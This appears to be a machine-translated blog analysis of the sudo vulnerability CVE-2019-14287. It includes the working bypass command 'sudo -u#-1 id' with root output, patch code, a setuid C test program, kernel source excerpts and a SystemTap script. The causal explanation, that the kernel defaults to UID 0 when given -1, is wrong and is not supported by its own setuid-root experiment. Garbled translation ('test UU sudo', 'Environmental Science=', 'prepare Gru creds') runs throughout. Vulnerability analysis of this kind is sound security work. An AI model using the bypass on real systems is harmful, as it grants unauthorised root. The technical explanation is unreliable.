Author: lu4nx @ know Chuangyu 404 active defense laboratory
Author blog: CVE-2019-14287 (Linux sudo vulnerability) analysis
Original link:https://paper.seebug.org/1057/
Recently sudo was exposed a vulnerability, unauthorized privileged users can bypass the restrictions to obtain privileges. For the official repair notice, please refer to: https://www.sudo.ws/alerts/minus_1_uid.html.
1. Loophole recurrence
Experimental environment:
operating system | CentOS Linux release 7.5.1804 |
---|---|
kernel | 3.10.0-862.14.4.el7.x86_64 |
sudo version | 1.8.19p2 |
First, add a system account test sudo as the experiment:
[root@localhost ~] # useradd test_sudo
Then add as root in / etc/sudoers:
test_sudo ALL=(ALL,!root) /usr/bin/id
Indicates that the test sudo account is allowed to execute / usr/bin/id as a non root account. If an attempt is made to run the id command as a root account, it will be rejected:
[test_sudo@localhost ~] $ sudo id Sorry, user test UU sudo does not have permission to execute / bin/id on localhost.localdomain as root.
Sudo-u can also replace the user by specifying a UID. When the specified UID is - 1 or 4294967295 (- 1's complement, in fact, is handled as an unsigned integer internally), it can trigger a vulnerability, bypass the above restrictions and execute commands as root:
[test_sudo@localhost ~]$ sudo -u#-1 id uid=0(root) gid=1004(test_sudo) group=1004(test_sudo) Environmental Science=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [test_sudo@localhost ~]$ sudo -u#4294967295 id uid=0(root) gid=1004(test_sudo) group=1004(test_sudo) Environmental Science=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
2. Analysis of vulnerability principle
Find the submitted repair code in the official code warehouse: https://www.sudo.ws/repos/sudo/rev/83db8dba09e7.
From the submitted code, only lib/util/strtoid.c has been modified. The sudo? Strtoid? V1 function defined in strtoid.c is responsible for parsing the UID string specified in the parameter. The key code of the patch is:
/* Disallow id -1, which means "no change". */ if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) { if (errstr != NULL) *errstr = N_("invalid value"); errno = EINVAL; goto done; }
Llval variable is the parsed value, and llval of - 1 and UINT_MAX (4294967295) are not allowed.
In other words, the patch only limits the value. From the perspective of vulnerability behavior, if it is - 1, the final UID is 0. Why can't it be - 1? What happens when the UID is - 1? Let's move on to an in-depth analysis.
Let's trace the following system calls with strace:
[root@localhost ~]# strace -u test_sudo sudo -u#-1 id
Because the strace-u parameter needs root identity to be used, the above command needs to switch to the root account first, and then execute the sudo-u-1 ID command with test sudo identity. From the output system call, note:
setresuid(-1, -1, -1) = 0
sudo calls setresuid internally to enhance permissions (although other functions such as setting groups are also called, no analysis will be done first), and the parameters passed in are all - 1.
Therefore, we do a simple experiment to call setresuid(-1, -1, -1), and see why it will be root after execution. The code is as follows:
#include <stdio.h> #include <sys/types.h> #include <unistd.h> int main() { setresuid(-1, -1, -1); setuid(0); printf("EUID: %d, UID: %d\n", geteuid(), getuid()); return 0; }
Note that you need to change the user of the compiled binary file to root, and add the s-bit. When the s-bit is set, other accounts will run as the account of the file.
For convenience, I compile directly under the root account, and add the s bit:
[root@localhost tmp] # gcc test.c [root@localhost tmp] # chmod +s a.out
Then execute a.out with the test sudo account:
[test_sudo@localhost tmp] $ ./a.out EUID: 0, UID: 0
It can be seen that after running, the current identity becomes root.
In fact, setresuid function is just a simple encapsulation of system call setresuid32. You can see its implementation in GLibc's source code:
// File: sysdeps/unix/sysv/linux/i386/setresuid.c int __setresuid (uid_t ruid, uid_t euid, uid_t suid) { int result; result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid); return result; }
setresuid32 finally calls the kernel function sys_setresuid, which is implemented as follows:
// File: kernel/sys.c SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid) { ... struct cred *new; ... kruid = make_kuid(ns, ruid); keuid = make_kuid(ns, euid); ksuid = make_kuid(ns, suid); new = prepare_creds(); old = current_cred(); ... if (ruid != (uid_t) -1) { new->uid = kruid; if (!uid_eq(kruid, old->uid)) { retval = set_user(new); if (retval < 0) goto error; } } if (euid != (uid_t) -1) new->euid = keuid; if (suid != (uid_t) -1) new->suid = ksuid; new->fsuid = new->euid; ... return commit_creds(new); error: abort_creds(new); return retval; }
In short, when the kernel processes, it will call the prepare ﹣ creds function to create a new credential structure. The three parameters ruid, euid and suid passed to the function will only be assigned to the new credential when they are not - 1 (see the above three if logic). Otherwise, the default UID is 0. Finally, the commit_creds is invoked to enable the certificate to take effect. That's why - 1 is passed with root privileges.
We can also write a SystemTap script to observe the status of calling setresuid from the application layer and passing - 1 to the kernel:
# Capture the system call of setresuid probe syscall.setresuid { printf("exec %s, args: %s\n", execname(), argstr) } # Capture the parameters received by the kernel function sys ﹣ setresuid probe kernel.function("sys_setresuid").call { printf("(sys_setresuid) arg1: %d, arg2: %d, arg3: %d\n", int_arg(1), int_arg(2), int_arg(3)); } # Capture the return value of the kernel function prepare Gru creds probe kernel.function("prepare_creds").return { # See struct cred structure in linux/cred.h for specific data structure printf("(prepare_cred), uid: %d; euid: %d\n", $return->uid->val, $return->euid->val) }
Then execute:
[root@localhost tmp] # stap test.stp
Then run the a.out we compiled earlier, and see what stap captures:
exec a.out, args: -1, -1, -1 # Here are the three parameters passed to setresuid (sys_setresuid) arg1: -1, arg2: -1, arg3: -1 # Here are three parameters for the final call to sys ﹣ setresuid (prepare_cred), uid: 1000; euid: 0 # Sys ﹣ setresuid called prepare ﹣ cred, and you can see that the default EUID is 0.